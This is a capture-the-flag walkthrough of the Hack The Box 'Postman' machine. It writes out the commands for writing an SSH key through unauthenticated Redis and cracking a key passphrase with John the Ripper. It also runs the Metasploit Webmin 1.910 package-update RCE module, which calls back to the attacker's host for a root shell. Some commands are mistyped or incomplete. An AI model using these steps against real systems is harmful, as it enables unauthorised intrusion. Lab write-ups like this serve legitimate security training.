Hack the Box: Postman Walkthrough


Today, we’re sharing another Hack Challenge Walkthrough box: POSTMAN design by The Cyber Geek and the machine is part of the retired lab, so you can connect to the machine using your HTB VPN and then start to solve the CTF.
The level of the Lab is set: Beginner to intermediate.
Task: Capture the user.txt and root.txt flags.

Penetration Methodologies
Network Scanning
·         Nmap
Enumeration
·         Redis
Initial Foothold
·         Access SSH
Privilege Escalation
·         Webmin

Network Scanning
As we know the machine IP of the victim, Nmap scans will begin with the identification of open ports and services across them.
nmap -A 10.10.10.160
We find port 80 open for HTTP from this scanning study, and port 22 open for SSH, too. In addition I have noticed port 1000 for webmin and the port 6379 for Redis is open.


Enumeration
The Redis security model is: “it’s totally insecure to let untrusted clients access the system, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”.
You can read more about it from here: http://antirez.com/news/96
Since we saw port 6379 is available for Redis, we try to communicate with this with the help of the redis client.

redis -cli -h 10.10.10.160
config get dir
We noticed, that Redis is insecure and not AUTH required, so we discovered ".ssh directory" for the redis as mentioned above, due to unsafe configuration we can transfer any file inside the server.


Further, I generate a ssh key pair using the ssh-keygen command given below:
ssh-keygen -t rsa -f raj


I have a key and my goal is to place it in the server memory and then move it to a file in such a way that the authorized keys file that results remains valid.
(echo -e "\n\n"; cat raj.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit


Initial Foothold
As we have uploaded our ssh key into server thus it’s time to connect with remote machine with the help following command
ssh -i raj redis@10.10.10.160
ls -la
cat .bash_history

Here we notice two things: first there is a user whose name is  “Matt” and a file with name “id_rsa.bak”, let’s find out the path for this file.


so, with the help of find command we enumerate the path for id_rsa.bak file which lie inside /opt directory.
find /-user Matt 2>/dev/null


So id_rsa.bak file is actually the id_rsa private key, I copied it into a text file and saved it as hash.


Then we have used ssh2john to convert this SSH key into a crackable file with the help of John the ripper and further used the rockyou.txt wordlist for this.
python /us/share/john/ssh2john key > sshkey > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Hmmm!! so we have obtained sshkey “computer2008” for the user Matt.


As we knew that webmin was running over port 10000 thus we navigate to web browser and explore the URL where we submit above enumerated creds.
username: Matt
Password: computer2008


Boom! We logged in successfully and notice the installed version for webmin i.e. 1.910; now we can search for its exploit if available.


With the help of searchsploit we found a Metasploit module for exploiting remote command execution. This module exploits an arbitrary command execution vulnerability in Webmin 1.910 and lower versions. Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges.



Without wasting time, we loaded the Metasploit module and set the value required to initialise the exploit
msfconsole
msf > use exploit/linux/http/webmin_packageup_rce
msf exploit(webmin_packageup_rce) > set rhosts 10.10.10.160
msf exploit(webmin_packageup_rce) >set lhost 10.10.15.243
msf exploit(webmin_packageup_rce) >set username Matt
msf exploit(webmin_packageup_rce) >set password computer2008
msf exploit(webmin_packageup_rce) >set ssl true
msf exploit(webmin_packageup_rce) >exploit

Booom!!! We got the meterpreter session with root privilege, lets enumerate flags.



Let’s capture the both flags user.txt and root.txt from inside the /home/Matt/ and /root respectively.
cat /root/root.txt
cat /home/Matt/user.txt
conclusion: In this machine we have learn about two major vulnerability and their exploitation, the first was insure Redis and other was webmin.

0 comments:

Post a Comment